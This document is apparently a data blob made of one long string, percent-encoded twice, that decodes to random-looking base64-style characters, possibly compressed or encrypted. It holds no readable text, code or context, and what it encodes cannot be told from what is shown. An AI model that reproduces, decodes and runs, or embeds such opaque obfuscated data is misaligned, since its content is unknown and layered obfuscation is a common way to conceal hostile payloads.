%37%34%25%35%34%25%34%34%25%35%37%25%35%35%25%36%34%25%34%61%25%37%37%25%35%31%25%35%37%25%35%35%25%35%32%25%34%35%25%37%61%25%36%35%25%37%61%25%36%37%25%34%33%25%33%32%25%34%31%25%34%66%25%37%34%25%33%33%25%33%37%25%37%33%25%35%31%25%35%31%25%36%63%25%35%31%25%34%36%25%36%33%25%34%33%25%37%31%25%35%37%25%37%35%25%36%38%25%33%37%25%34%65%25%33%38%25%35%36%25%37%37%25%34%39%25%36%66%25%34%36%25%36%38%25%35%32%25%33%32%25%37%37%25%35%37%25%37%36%25%36%32%25%35%33%25%33%34%25%34%61%25%32%66%25%35%33%25%36%62%25%37%34%25%36%63%25%34%32%25%36%32%25%34%63%25%35%33%25%33%34%25%33%31%25%35%34%25%35%34%25%36%39%25%32%62%25%37%33%25%35%32%25%36%63%25%37%61%25%36%38%25%37%38%25%34%64%25%34%32%25%36%62%25%37%37%25%37%61%25%33%33%25%37%39%25%37%61%25%37%37%25%35%38%25%32%66%25%34%61%25%36%36%25%34%36%25%36%32%25%34%65%25%34%32%25%33%38%25%36%37%25%33%32%25%34%37%25%33%38%25%35%33%25%33%31%25%35%38%25%37%35%25%36%38%25%37%34%25%37%32%25%37%38%25%35%30%25%33%31%25%34%61%25%34%31%25%33%32%25%33%38%25%36%36%25%37%35%25%33%37%25%33%32%25%37%38%25%33%38%25%34%32%25%35%39%25%37%31%25%36%64%25%34%31%25%34%62%25%37%37%25%34%61%25%36%63%25%35%33%25%35%33%25%32%66%25%35%36%25%36%33%25%37%37%25%36%39%25%32%62%25%37%37%25%36%64%25%37%39%25%37%37%25%33%37%25%37%36%25%33%38%25%32%62%25%34%34%25%33%35%25%33%30%25%33%31%25%33%30%25%35%34%25%33%33%25%37%37%25%34%37%25%35%30%25%33%35%25%37%35%25%35%34%25%34%63%25%32%66%25%35%38%25%33%33%25%32%66%25%35%35%25%34%61%25%37%30%25%33%34%25%33%30%25%36%63%25%34%39%25%33%39%25%37%34%25%34%65%25%36%35%25%37%32%25%34%64%25%37%37%25%34%36%25%33%32%25%35%36%25%33%32%25%34%36%25%35%33%25%37%30%25%34%64%25%35%37%25%34%35%25%36%36%25%37%35%25%34%65%25%36%38%25%36%66%25%34%65%25%36%39%25%36%34%25%35%39%25%33%37%25%34%65%25%37%39%25%33%35%25%36%39%25%34%64%25%34%39%25%34%39%25%33%36%25%36%65%25%36%38%25%37%32%25%35%35%25%36%61%25%37%39%25%32%62%25%33%35%25%36%38%25%35%34%25%34%33%25%37%38%25%34%33%25%36%66%25%37%33%25%36%61%25%37%35%25%35%61%25%35%35%25%36%66%25%33%30%25%33%35%25%36%33%25%36%39%25%34%31%25%33%32%25%37%30%25%35%32%25%34%32%25%36%33%25%33%30%25%35%61%25%33%35%25%34%63%25%36%39%25%36%62%25%36%39%25%32%62%25%34%31%25%35%61%25%34%65%25%34%32%25%36%33%25%35%39%25%37%34%25%36%37%25%34%64%25%35%32%25%37%32%25%35%39%25%37%61%25%37%38%25%33%33%25%36%34%25%36%65%25%34%36%25%36%37%25%35%39%25%34%34%25%36%64%25%36%31%25%35%35%25%34%61%25%36%62%25%34%63%25%35%34%25%34%37%25%36%37%25%33%39%25%36%36%25%33%33%25%34%37%25%34%33%25%33%37%25%36%63%25%33%36%25%37%31%25%35%36%25%35%31%25%33%35%25%34%61%25%36%35%25%36%38%25%36%65%25%33%33%25%33%39%25%37%33%25%33%36%25%34%34%25%35%37%25%37%30%25%34%61%25%37%38%25%37%39%25%33%37%25%36%33%25%37%36%25%36%61%25%35%34%25%34%66%25%35%32%25%36%38%25%34%66%25%37%61%25%33%38%25%36%35%25%34%66%25%33%34%25%33%34%25%36%33%25%33%38%25%33%36%25%35%34%25%34%36%25%36%32%25%37%37%25%35%36%25%34%39%25%36%63%25%36%35%25%33%37%25%33%38%25%33%31%25%33%35%25%35%34%25%36%61%25%34%32%25%35%32%25%33%30%25%37%31%25%37%36%25%37%34%25%33%33%25%33%36%25%36%39%25%34%66%25%33%39%25%34%35%25%36%31%25%36%33%25%35%34%25%34%61%25%37%30%25%33%39%25%35%61%25%33%38%25%36%31%25%35%61%25%37%30%25%33%39%25%32%66%25%35%39%25%37%39%25%35%36%25%37%33%25%34%66%25%35%34%25%37%33%25%34%39%25%32%62%25%37%31%25%34%39%25%34%65%25%35%38%25%35%37%25%34%63%25%37%39%25%36%32%25%37%31%25%36%37%25%36%39%25%37%31%25%35%30%25%35%38%25%35%33%25%32%66%25%33%31%25%34%66%25%36%35%25%35%32%25%37%39%25%37%33%25%35%36%25%35%35%25%37%33%25%33%34%25%37%61%25%37%30%25%34%61%25%33%31%25%37%61%25%37%33%25%36%66%25%36%37%25%33%35%25%36%38%25%37%31%25%36%32%25%36%38%25%33%35%25%37%35%25%33%38%25%34%62%25%33%30%25%36%33%25%37%33%25%35%33%25%34%34%25%32%66%25%34%34%25%35%34%25%34%34%25%35%30%25%36%61%25%37%33%25%34%34%25%34%64%25%35%34%25%34%33%25%35%30%25%34%61%25%33%33%25%34%37%25%33%39%25%34%37%25%33%30%25%37%35%25%33%35%25%36%37%25%35%35%25%36%63%25%34%66%25%34%64%25%32%66%25%34%62%25%32%62%25%33%30%25%35%36%25%37%35%25%36%31%25%37%31%25%36%34%25%33%32%25%34%37%25%34%38%25%34%32%25%35%38%25%36%36%25%34%33%25%35%32%25%34%62%25%36%32%25%34%33%25%34%35%25%36%66%25%37%35%25%34%66%25%36%32%25%35%39%25%33%34%25%36%63%25%36%63%25%37%61%25%33%37%25%37%61%25%37%32%25%37%34%25%33%32%25%34%34%25%34%64%25%32%62%25%33%38%25%37%39%25%33%34%25%34%61%25%33%36%25%33%39%25%33%33%25%35%61%25%37%37%25%36%38%25%37%36%25%35%35%25%35%30%25%34%64%25%37%39%25%33%37%25%34%34%25%33%35%25%36%33%25%37%33%25%34%35%25%34%35%25%33%33%25%35%61%25%33%36%25%33%31%25%36%34%25%33%30%25%37%31%25%34%62%25%35%39%25%36%31%25%36%35%25%37%36%25%35%61%25%35%34%25%35%34%25%34%36%25%34%38%25%34%32%25%34%62%25%34%32%25%37%38%25%34%36%25%35%38%25%37%36%25%35%33%25%36%38%25%35%37%25%36%62%25%37%35%25%36%64%25%33%32%25%33%32%25%34%34%25%35%36%25%33%39%25%33%32%25%34%34%25%33%37%25%34%65%25%37%30%25%37%34%25%33%37%25%36%34%25%35%39%25%37%30%25%35%30%25%36%36%25%35%31%25%35%32%25%37%34%25%36%62%25%34%63%25%35%37%25%34%32%25%34%66%25%36%34%25%37%36%25%36%62%25%34%36%25%36%33%25%36%65%25%36%32%25%37%31%25%35%39%25%36%36%25%33%37%25%37%30%25%37%34%25%34%38%25%35%35%25%35%32%25%36%64%25%33%38%25%36%38%25%37%37%25%33%30%25%34%33%25%35%61%25%37%38%25%35%61%25%37%32%25%37%34%25%34%36%25%36%64%25%35%36%25%36%66%25%36%38%25%34%64%25%36%34%25%36%61%25%37%31%25%35%30%25%36%32%25%33%38%25%36%63%25%32%62%25%36%34%25%32%66%25%33%36%25%36%61%25%36%62%25%33%35%25%34%66%25%35%35%25%37%34%25%34%65%25%37%33%25%35%33%25%36%31%25%33%34%25%37%32%25%36%63%25%36%63%25%34%35%25%35%39%25%33%36%25%37%34%25%37%36%25%33%34%25%34%35%25%36%32%25%36%39%25%33%34%25%33%39%25%34%35%25%34%39%25%37%32%25%33%34%25%34%34%25%37%39%25%34%66%25%33%37%25%33%31%25%35%30%25%33%33%25%33%39%25%37%36%25%33%37%25%36%33%25%35%30%25%36%36%25%36%37%25%34%38%25%36%33%25%37%33%25%34%66%25%32%66%25%33%33%25%32%66%25%37%35%25%33%37%25%36%36%25%37%32%25%35%36%25%32%62%25%35%61%25%34%32%25%34%31%25%37%35%25%35%34%25%37%61%25%37%37%25%37%61%25%33%36%25%33%30%25%34%32%25%35%34%25%34%63%25%37%39%25%37%38%25%33%34%25%37%38%25%34%39%25%33%30%25%36%36%25%37%35%25%37%37%25%37%61%25%36%31%25%35%34%25%36%39%25%36%63%25%35%31%25%36%32%25%36%62%25%35%39%25%33%32%25%33%35%25%36%63%25%36%39%25%35%35%25%36%65%25%34%37%25%36%36%25%35%31%25%37%31%25%34%64%25%36%34%25%33%33%25%36%63%25%33%35%25%35%33%25%36%39%25%35%37%25%33%34%25%36%65%25%37%30%25%35%38%25%32%66%25%35%30%25%34%33%25%35%61%25%33%32%25%35%38%25%34%63%25%32%66%25%36%62%25%36%62%25%33%34%25%37%61%25%33%30%25%37%36%25%37%39%25%36%39%25%36%32%25%37%61%25%34%61%25%36%66%25%33%31%25%35%33%25%34%62%25%36%32%25%37%32%25%34%64%25%36%36%25%37%31%25%32%66%25%33%37%25%34%61%25%34%63%25%35%35%25%33%35%25%34%39%25%37%37%25%34%33%25%35%39%25%36%63%25%35%31%25%37%61%25%33%37%25%37%61%25%35%37%25%33%33%25%36%66%25%37%38%25%37%32%25%33%36%25%37%61%25%36%63%25%34%34%25%34%38%25%34%61%25%33%32%25%33%32%25%35%34%25%37%33%25%36%35%25%33%35%25%32%66%25%35%30%25%35%38%25%35%38%25%34%37%25%34%63%25%33%33%25%33%33%25%33%39%25%37%33%25%36%39%25%34%34%25%34%35%25%36%38%25%34%64%25%37%37%25%36%31%25%35%33%25%36%65%25%33%30%25%33%30%25%37%34%25%35%38%25%32%66%25%34%32%25%36%31%25%33%35%25%36%34%25%34%62%25%33%37%25%37%38%25%37%35%25%37%35%25%33%31%25%33%35%25%33%34%25%36%65%25%34%38%25%34%64%25%37%39%25%33%38%25%37%31%25%36%39%25%37%37%25%34%62%25%37%37%25%36%36%25%36%66%25%37%61%25%37%37%25%35%35%25%37%35%25%33%32%25%36%34%25%36%66%25%35%30%25%35%39%25%34%61%25%37%37%25%36%62%25%33%34%25%33%33%25%33%32%25%37%31%25%33%37%25%35%37%25%33%31%25%35%32%25%37%32%25%34%37%25%33%33%25%33%33%25%36%37%25%36%34%25%35%38%25%34%37%25%33%31%25%35%33%25%34%66%25%35%31%25%34%35%25%35%34%25%34%36%25%36%61%25%36%32%25%34%35%25%36%31%25%35%32%25%36%32%25%33%35%25%34%33%25%33%31%25%36%66%25%34%37%25%36%39%25%35%31%25%37%61%25%35%36%25%36%33%25%34%39%25%35%37%25%36%33%25%36%33%25%34%36%25%37%35%25%34%31%25%36%35%25%33%31%25%35%36%25%36%62%25%35%30%25%35%34%25%33%33%25%37%37%25%33%38%25%33%39%25%37%37%25%36%34%25%35%32%25%37%34%25%36%31%25%35%61%25%36%31%25%37%34%25%37%37%25%34%63%25%35%31%25%32%62%25%36%63%25%36%64%25%33%32%25%33%38%25%35%61%25%36%31%25%36%62%25%35%37%25%37%31%25%35%36%25%34%38%25%35%39%25%37%39%25%33%37%25%36%39%25%33%33%25%36%63%25%33%32%25%33%31%25%34%38%25%35%34%25%33%39%25%37%39%25%37%39%25%37%36%25%35%35%25%34%66%25%34%34%25%37%30%25%37%31%25%37%37%25%34%63%25%35%34%25%34%31%25%36%39%25%33%34%25%37%38%25%37%61%25%35%30%25%36%35%25%33%33%25%34%34%25%35%33%25%35%34%25%34%65%25%32%66%25%34%64%25%36%39%25%36%33%25%37%34%25%34%35%25%33%32%25%34%61%25%34%65%25%37%39%25%35%31%25%33%36%25%33%32%25%34%61%25%37%31%25%34%31%25%37%34%25%33%34%25%32%66%25%36%65%25%37%32%25%35%35%25%37%38%25%36%39%25%37%61%25%36%39%25%37%30%25%36%33%25%36%33%25%35%38%25%34%32%25%36%33%25%34%63%25%36%33%25%37%34%25%34%63%25%36%62%25%37%33%25%34%37%25%36%64%25%33%30%25%35%39%25%37%37%25%35%39%25%32%62%25%36%61%25%37%30%25%35%34%25%35%31%25%36%62%25%36%62%25%34%34%25%35%30%25%34%66%25%37%61%25%37%35%25%36%62%25%34%64%25%36%63%25%35%35%25%33%36%25%33%32%25%36%64%25%33%30%25%35%35%25%36%34%25%37%37%25%36%64%25%34%37%25%33%32%25%37%34%25%36%34%25%34%31%25%36%31%25%35%33%25%34%62%25%36%31%25%34%38%25%33%39%25%35%61%25%33%35%25%37%34%25%34%63%25%35%38%25%35%32%25%34%64%25%34%33%25%33%31%25%37%36%25%33%34%25%36%38%25%37%39%25%36%31%25%37%30%25%36%34%25%34%65%25%37%36%25%37%30%25%34%34%25%33%38%25%37%34%25%36%31%25%36%39%25%36%36%25%36%35%25%34%35%25%34%37%25%33%31%25%37%31%25%37%38%25%37%32%25%35%61%25%36%34%25%36%35%25%35%32%25%35%32%25%33%30%25%36%38%25%36%65%25%36%39%25%34%34%25%36%36%25%36%62%25%33%39%25%36%66%25%34%36%25%35%30%25%32%62%25%34%66%25%34%33%25%36%31%25%36%65%25%36%37%25%33%30%25%36%31%25%33%36%25%34%61%25%34%35%25%32%62%25%36%37%25%33%31%25%34%35%25%33%36%25%34%65%25%37%35%25%35%39%25%35%31%25%34%61%25%37%61%25%36%35%25%34%66%25%36%31%25%37%34%25%32%66%25%35%37%25%35%39%25%35%30%25%37%39%25%33%31%25%34%63%25%34%38%25%33%39%25%35%35%25%33%32%25%36%34%25%37%32%25%35%34%25%35%33%25%36%33%25%34%38%25%33%38%25%36%65%25%34%38%25%37%36%25%35%61%25%33%39%25%36%63%25%32%66%25%34%32%25%35%37%25%36%34%25%36%34%25%34%62%25%37%32%25%33%35%25%36%34%25%36%33%25%34%33%25%36%61%25%36%34%25%35%39%25%37%32%25%37%61%25%37%39%25%33%37%25%36%37%25%36%61%25%37%38%25%34%33%25%33%32%25%37%30%25%33%36%25%33%31%25%34%39%25%36%34%25%37%36%25%34%64%25%33%36%25%32%66%25%33%39%25%36%31%25%34%33%25%33%35%25%33%36%25%34%37%25%37%35%25%33%32%25%33%30%25%36%32%25%35%61%25%36%33%25%37%61%25%37%30%25%36%63%25%36%35%25%34%37%25%35%32%25%36%31%25%34%66%25%36%37%25%36%38%25%34%38%25%36%35%25%35%31%25%36%64%25%33%38%25%32%66%25%36%38%25%34%37%25%33%38%25%37%33%25%36%66%25%35%36%25%36%38%25%37%33%25%36%34%25%35%61%25%33%35%25%34%38%25%34%38%25%34%34%25%36%33%25%34%34%25%34%33%25%35%34%25%36%39%25%35%34%25%35%37%25%35%37%25%36%61%25%35%33%25%34%65%25%35%34%25%34%36%25%36%63%25%35%32%25%34%62%25%33%38%25%37%37%25%33%31%25%36%37%25%33%38%25%36%63%25%35%61%25%34%63%25%33%38%25%33%34%25%36%64%25%35%34%25%32%62%25%37%38%25%33%39%25%33%36%25%36%39%25%37%30%25%34%66%25%33%33%25%37%30%25%35%61%25%36%64%25%33%33%25%34%31%25%34%36%25%37%34%25%37%37%25%33%35%25%36%64%25%33%33%25%34%36%25%37%39%25%35%35%25%35%37%25%33%37%25%34%38%25%37%30%25%33%34%25%37%33%25%36%65%25%34%32%25%37%38%25%37%35%25%37%39%25%34%34%25%35%38%25%35%38%25%37%34%25%37%31%25%33%32%25%33%37%25%34%31%25%34%63%25%35%33%25%34%66%25%33%32%25%37%37%25%32%66%25%35%36%25%36%35%25%36%61%25%36%36%25%32%62%25%35%38%25%35%30%25%36%66%25%33%34%25%36%66%25%34%32%25%32%62%25%33%38%25%36%32%25%35%35%25%37%37%25%34%63%25%37%33%25%34%64%25%33%32%25%32%66%25%35%34%25%35%34%25%36%65%25%35%39%25%37%35%25%32%66%25%35%32%25%34%65%25%33%33%25%35%33%25%33%36%25%36%32%25%34%66%25%34%62%25%36%63%25%37%38%25%33%30%25%34%39%25%33%35%25%37%37%25%36%37%25%33%37%25%33%32%25%33%35%25%33%32%25%35%37%25%34%33%25%36%66%25%33%37%25%35%36%25%33%31%25%35%33%25%33%35%25%35%31%25%37%61%25%34%66%25%35%32%25%34%37%25%35%61%25%34%62%25%35%34%25%37%38%25%37%34%25%37%38%25%34%39%25%37%36%25%36%37%25%36%35%25%37%33%25%37%33%25%33%30%25%36%39%25%35%34%25%36%64%25%33%34%25%33%30%25%33%39%25%35%31%25%35%31%25%33%39%25%34%65%25%36%35%25%33%36%25%33%38%25%33%39%25%34%34%25%35%36%25%33%31%25%32%62%25%35%33%25%37%37%25%36%61%25%37%37%25%34%38%25%37%38%25%36%36%25%37%31%25%36%66%25%33%32%25%37%39%25%35%39%25%35%37%25%34%34%25%35%30%25%36%39%25%35%30%25%33%38%25%37%33%25%33%32%25%36%64%25%37%33%25%36%64%25%36%65%25%36%32%25%37%36%25%36%64%25%32%66%25%33%36%25%36%34%25%37%34%25%36%32%25%34%34%25%36%65%25%33%39%25%35%39%25%37%33%25%36%34%25%36%66%25%36%31%25%36%38%25%36%32%25%37%31%25%32%66%25%34%62%25%37%30%25%36%37%25%36%37%25%36%35%25%34%33%25%34%39%25%32%66%25%36%39%25%33%34%25%36%36%25%36%33%25%33%34%25%32%62%25%35%36%25%36%64%25%35%36%25%34%64%25%36%38%25%35%39%25%36%33%25%34%63%25%35%61%25%35%38%25%35%33%25%35%61%25%35%35%25%34%33%25%35%38%25%37%36%25%35%39%25%34%34%25%34%63%25%33%38%25%34%33%25%37%32%25%35%31%25%34%32%25%36%65%25%33%33%25%36%63%25%34%61%25%33%30%25%35%36%25%32%62%25%34%34%25%35%36%25%37%61%25%34%34%25%35%38%25%34%36%25%37%35%25%34%66%25%33%34%25%37%37%25%34%64%25%34%64%25%37%35%25%34%32%25%35%33%25%37%35%25%33%39%25%35%32%25%36%61%25%36%63%25%36%62%25%34%31%25%36%65%25%34%61%25%36%63%25%35%39%25%37%36%25%34%39%25%35%61%25%33%30%25%36%61%25%34%34%25%36%64%25%35%33%25%33%31%25%36%39%25%37%36%25%35%61%25%34%37%25%36%39%25%33%39%25%36%62%25%35%39%25%36%62%25%33%39%25%36%64%25%34%63%25%33%34%25%37%31%25%37%61%25%33%34%25%37%36%25%33%39%25%37%32%25%34%61%25%34%62%25%36%65%25%35%35%25%36%61%25%36%66%25%37%34%25%36%38%25%37%33%25%35%34%25%34%35%25%36%33%25%37%34%25%36%38%25%34%36%25%36%38%25%36%37%25%33%32%25%35%38%25%37%35%25%34%39%25%37%34%25%35%32%25%33%30%25%35%39%25%35%61%25%37%35%25%37%35%25%36%61%25%37%34%25%34%62%25%34%39%25%37%38%25%36%36%25%33%32%25%34%36%25%37%37%25%33%34%25%36%31%25%36%61%25%37%35%25%34%38%25%34%34%25%34%61%25%34%65%25%34%38%25%33%36%25%36%35%25%36%33%25%35%32%25%34%65%25%34%34%25%34%62%25%34%37%25%37%36%25%33%31%25%36%38%25%34%64%25%35%30%25%34%33%25%33%37%25%35%32%25%36%35%25%33%38%25%33%34%25%35%38%25%35%36%25%36%37%25%33%39%25%36%36%25%36%65%25%36%37%25%37%31%25%37%33%25%36%62%25%34%34%25%34%36%25%33%38%25%35%31%25%36%37%25%36%64%25%37%61%25%33%35%25%33%32%25%34%63%25%36%62%25%36%39%25%34%33%25%34%33%25%37%61%25%34%39%25%35%38%25%34%33%25%33%31%25%34%64%25%34%33%25%33%34%25%34%64%25%36%36%25%34%34%25%36%33%25%35%37%25%33%38%25%34%32%25%35%61%25%37%32%25%37%38%25%34%33%25%36%66%25%35%39%25%34%65%25%36%37%25%34%35%25%37%30%25%37%37%25%37%37%25%35%32%25%34%63%25%34%31%25%37%37%25%34%37%25%34%39%25%34%64%25%34%35%25%34%33%25%34%37%25%36%65%25%35%32%25%36%31%25%34%31%25%37%37%25%34%62%25%33%30%25%37%37%25%37%32%25%34%65%25%33%39%25%34%37%25%32%66%25%36%64%25%33%34%25%37%39%25%36%66%25%35%61%25%36%36%25%33%32%25%34%64%25%33%38%25%34%31%25%36%63%25%34%37%25%33%31%25%36%31%25%34%33%25%36%39%25%36%64%25%36%61%25%34%64%25%34%62%25%34%32%25%34%63%25%34%33%25%35%34%25%36%38%25%34%32%25%36%32%25%36%34%25%37%37%25%34%33%25%33%35%25%32%62%25%36%66%25%34%63%25%36%37%25%37%38%25%34%35%25%34%31%25%36%39%25%35%37%25%36%38%25%34%63%25%36%38%25%36%66%25%34%61%25%35%31%25%32%66%25%36%37%25%37%34%25%36%32%25%36%31%25%35%39%25%32%66%25%37%39%25%34%64%25%35%34%25%35%39%25%35%37%25%37%37%25%34%32%25%35%38%25%32%66%25%33%37%25%36%35%25%33%34%25%34%64%25%33%39%25%35%34%25%32%66%25%36%37%25%34%38%25%36%39%25%35%34%25%33%39%25%33%35%25%36%37%25%34%38%25%33%39%25%33%31%25%36%62%25%33%39%25%34%33%25%36%33%25%37%32%25%36%39%25%33%30%25%36%66%25%35%36%25%34%34%25%34%63%25%36%39%25%37%30%25%36%34%25%35%61%25%34%33%25%36%39%25%36%34%25%36%61%25%33%34%25%35%61%25%33%34%25%32%62%25%33%31%25%33%30%25%33%39%25%35%36%25%35%32%25%34%64%25%35%37%25%37%39%25%36%39%25%36%34%25%35%37%25%35%32%25%37%39%25%33%34%25%37%32%25%34%33%25%35%38%25%35%36%25%36%34%25%33%31%25%36%31%25%35%37%25%36%39%25%36%34%25%35%37%25%34%64%25%37%34%25%35%39%25%36%62%25%36%62%25%33%38%25%36%61%25%33%39%25%35%31%25%36%35%25%37%31%25%34%33%25%37%39%25%35%34%25%33%33%25%37%34%25%34%31%25%33%37%25%34%39%25%34%32%25%34%34%25%35%30%25%33%38%25%36%61%25%35%35%25%36%31%25%33%35%25%34%62%25%33%32%25%33%38%25%36%31%25%34%32%25%37%37%25%35%32%25%37%32%25%37%36%25%36%38%25%34%62%25%33%33%25%33%30%25%34%33%25%33%37%25%36%66%25%35%30%25%34%34%25%37%38%25%33%38%25%32%66%25%36%38%25%34%34%25%37%30%25%33%37%25%37%34%25%34%35%25%34%36%25%33%39%25%37%31%25%37%37%25%35%37%25%36%34%25%32%66%25%33%31%25%34%62%25%36%34%25%36%36%25%34%63%25%35%61%25%36%32%25%36%39%25%33%32%25%33%32%25%37%34%25%36%39%25%33%39%25%33%39%25%35%38%25%32%66%25%37%39%25%37%36%25%33%36%25%35%38%25%33%35%25%37%35%25%35%38%25%37%61%25%36%34%25%34%34%25%36%65%25%33%37%25%33%35%25%36%61%25%37%38%25%33%33%25%33%33%25%37%39%25%34%38%25%33%39%25%32%66%25%37%61%25%37%39%25%35%33%25%36%37%25%34%36%25%37%31%25%34%31%25%33%38%25%33%35%25%35%61%25%35%34%25%34%34%25%35%36%25%37%37%25%35%35%25%34%31%25%37%32%25%32%66%25%34%34%25%36%38%25%36%37%25%34%65%25%37%30%25%33%39%25%36%38%25%33%39%25%36%62%25%33%33%25%36%66%25%37%33%25%34%36%25%36%61%25%35%36%25%33%34%25%36%33%25%35%35%25%37%38%25%37%39%25%36%38%25%36%34%25%37%35%25%34%38%25%33%38%25%34%31%25%34%37%25%33%31%25%34%38%25%36%32%25%33%31%25%35%61%25%37%32%25%34%36%25%33%34%25%33%39%25%36%34%25%36%64%25%37%38%25%34%39%25%36%37%25%37%38%25%34%61%25%37%35%25%36%33%25%33%38%25%35%61%25%35%61%25%37%39%25%33%34%25%34%62%25%36%38%25%36%31%25%34%33%25%34%64%25%32%62%25%36%61%25%36%38%25%33%37%25%37%33%25%36%37%25%35%39%25%37%31%25%35%30%25%35%31%25%35%39%25%36%37%25%37%31%25%35%30%25%34%38%25%37%36%25%35%39%25%33%34%25%36%34%25%36%31%25%33%35%25%32%66%25%36%32%25%34%61%25%32%66%25%36%37%25%35%33%25%34%66%25%36%61%25%34%65%25%36%38%25%34%34%25%37%33%25%34%31%25%33%38%25%35%30%25%34%63%25%37%37%25%34%36%25%36%37%25%34%36%25%33%39%25%35%33%25%36%35%25%36%35%25%37%30%25%35%36%25%34%36%25%35%33%25%35%38%25%36%37%25%36%65%25%35%35%25%36%61%25%35%31%25%35%34%25%36%31%25%37%35%25%36%63%25%35%38%25%37%32%25%37%37%25%33%32%25%36%62%25%36%33%25%34%66%25%36%66%25%36%64%25%33%30%25%37%33%25%34%31%25%35%39%25%35%38%25%34%66%25%35%61%25%33%36%25%34%63%25%34%32%25%33%32%25%35%61%25%36%63%25%35%34%25%36%33%25%36%63%25%37%37%25%34%35%25%34%61%25%34%32%25%37%37%25%33%37%25%36%62%25%34%36%25%34%31%25%36%63%25%34%38%25%37%31%25%34%35%25%33%39%25%36%33%25%32%66%25%37%35%25%34%35%25%37%31%25%33%30%25%35%35%25%37%38%25%33%33%25%37%35%25%36%64%25%33%32%25%35%35%25%35%34%25%35%34%25%34%66%25%34%31%25%33%34%25%34%39%25%34%34%25%35%34%25%37%39%25%35%37%25%35%36%25%34%38%25%35%36%25%33%34%25%36%39%25%37%34%25%36%63%25%32%62%25%33%30%25%36%37%25%36%65%25%37%31%25%36%35%25%36%39%25%36%64%25%36%37%25%36%61%25%36%66%25%37%38%25%36%62%25%35%38%25%35%32%25%36%38%25%36%32%25%37%30%25%33%35%25%34%31%25%34%33%25%37%38%25%34%33%25%35%32%25%36%32%25%32%66%25%36%66%25%33%34%25%35%32%25%36%38%25%36%66%25%36%39%25%36%38%25%34%66%25%34%61%25%34%38%25%36%62%25%34%39%25%36%34%25%37%36%25%34%32%25%36%65%25%36%34%25%34%33%25%37%37%25%33%39%25%37%61%25%34%66%25%34%61%25%35%30%25%36%64%25%33%34%25%36%32%25%36%65%25%35%61%25%34%34%25%34%64%25%36%31%25%36%66%25%33%32%25%34%61%25%33%38%25%37%37%25%32%66%25%33%39%25%33%30%25%36%39%25%34%35%25%34%63%25%36%32%25%33%31%25%33%30%25%34%31%25%32%66%25%32%66%25%36%35%25%35%34%25%37%32%25%32%62%25%35%36%25%36%61%25%33%36%25%33%39%25%36%64%25%35%31%25%37%39%25%37%38%25%34%36%25%33%35%25%36%66%25%36%38%25%37%30%25%35%39%25%35%32%25%33%32%25%34%39%25%34%33%25%37%32%25%35%36%25%37%33%25%36%32%25%35%36%25%37%31%25%37%36%25%36%63%25%35%33%25%34%61%25%34%31%25%37%33%25%33%36%25%34%31%25%33%30%25%35%61%25%34%33%25%35%39%25%34%36%25%37%30%25%36%66%25%34%62%25%35%39%25%35%37%25%32%62%25%34%38%25%35%33%25%35%32%25%37%37%25%36%63%25%33%31%25%37%34%25%37%39%25%34%35%25%34%36%25%34%62%25%32%66%25%37%36%25%35%61%25%34%34%25%34%65%25%35%61%25%33%36%25%33%35%25%35%39%25%37%32%25%37%38%25%36%66%25%36%63%25%34%62%25%36%63%25%37%33%25%37%36%25%37%32%25%37%32%25%34%35%25%37%30%25%37%36%25%35%32%25%36%36%25%36%31%25%37%35%25%37%38%25%33%39%25%34%33%25%33%32%25%37%32%25%33%37%25%34%66%25%36%37%25%36%62%25%33%36%25%36%35%25%33%32%25%37%33%25%36%66%25%34%66%25%36%62%25%36%61%25%32%62%25%33%34%25%36%62%25%35%34%25%37%35%25%33%38%25%34%31%25%35%61%25%34%66%25%33%37%25%37%31%25%36%63%25%33%32%25%36%66%25%37%34%25%35%30%25%36%39%25%36%32%25%35%39%25%33%36%25%37%36%25%36%34%25%32%66%25%35%36%25%37%34%25%36%65%25%33%39%25%34%66%25%37%33%25%34%65%25%33%35%25%35%61%25%35%37%25%35%33%25%34%35%25%35%35%25%37%61%25%34%65%25%33%38%25%34%61%25%37%37%25%36%36%25%34%36%25%35%39%25%33%38%25%37%35%25%34%37%25%36%34%25%34%64%25%36%65%25%36%31%25%34%37%25%36%66%25%32%66%25%35%37%25%33%37%25%36%61%25%34%65%25%33%38%25%36%33%25%37%37%25%35%31%25%35%36%25%34%35%25%37%61%25%35%39%25%35%61%25%32%62%25%36%33%25%32%62%25%33%38%25%36%38%25%35%61%25%33%37%25%37%37%25%34%34%25%33%31%25%34%63%25%35%35%25%36%35%25%36%62%25%37%30%25%34%64%25%37%38%25%36%37%25%35%32%25%35%37%25%36%64%25%34%64%25%34%63%25%37%31%25%33%36%25%36%63%25%36%31%25%35%34%25%34%65%25%37%33%25%36%36%25%33%37%25%34%63%25%36%36%25%35%38%25%35%37%25%36%62%25%35%38%25%37%32%25%34%62%25%35%35%25%32%62%25%33%39%25%37%35%25%37%32%25%33%36%25%35%34%25%35%38%25%36%35%25%36%65%25%36%33%25%34%66%25%37%35%25%36%65%25%37%36%25%36%62%25%37%36%25%33%38%25%35%38%25%37%34%25%33%37%25%34%34%25%36%37%25%36%64%25%36%38%25%37%61%25%37%35%25%35%31%25%34%34%25%37%35%25%37%39%25%36%35%25%36%35%25%36%38%25%37%38%25%37%30%25%36%35%25%33%39%25%34%66%25%35%31%25%35%32%25%36%64%25%36%31%25%37%38%25%36%64%25%33%37%25%37%33%25%35%36%25%37%61%25%37%35%25%33%31%25%36%33%25%35%33%25%36%33%25%34%34%25%35%31%25%35%36%25%36%33%25%34%34%25%36%63%25%35%36%25%35%31%25%34%61%25%34%37%25%36%62%25%35%34%25%36%62%25%36%66%25%33%31%25%36%37%25%37%39%25%37%35%25%35%37%25%34%38%25%37%34%25%35%35%25%33%37%25%35%33%25%37%37%25%37%39%25%34%39%25%33%33%25%34%66%25%34%31%25%35%61%25%35%37%25%36%66%25%34%31%25%36%33%25%36%35%25%37%33%25%34%66%25%33%30%25%34%66%25%35%61%25%37%33%25%37%36%25%36%33%25%35%34%25%33%37%25%36%66%25%36%33%25%35%31%25%37%34%25%33%37%25%36%37%25%37%39%25%34%38%25%35%34%25%34%38%25%36%34%25%37%37%25%35%36%25%35%39%25%35%36%25%36%31%25%35%61%25%33%39%25%36%32%25%37%33%25%37%37%25%34%62%25%35%33%25%35%39%25%35%37%25%33%34%25%36%37%25%33%36%25%37%32%25%34%35%25%37%30%25%37%37%25%37%31%25%37%31%25%34%34%25%34%66%25%33%37%25%36%31%25%37%33%25%33%36%25%37%33%25%36%35%25%34%33%25%34%37%25%33%36%25%36%66%25%35%35%25%33%39%25%37%34%25%36%34%25%37%61%25%35%61%25%35%38%25%35%33%25%34%65%25%35%33%25%32%66%25